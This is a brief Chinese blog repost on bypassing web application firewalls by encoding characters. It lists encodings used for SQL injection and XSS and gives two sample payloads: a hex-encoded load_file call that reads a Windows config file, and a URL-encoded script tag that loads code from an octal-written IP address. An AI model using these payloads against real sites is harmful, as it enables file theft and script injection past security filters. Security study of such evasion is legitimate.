长沙南仁院软件005

标签：

　　技术分享：杂谈如何绕过WAF（Web应用防火墙）

　　字符编码法：

　　就是对一些字符进行编码，常见的SQL编码有unicode、HEX、URL、ascll、base64等，XSS编码有：HTML、URL、ASCII、JS编码、base64等等

　　SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)

　　????XSS：<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

　　出现原因：利用浏览器上的进制转换或者语言编码规则来绕过waf

长沙南仁院软件005

标签：

原文地址：http://www.cnblogs.com/swiftoc/p/5741320.html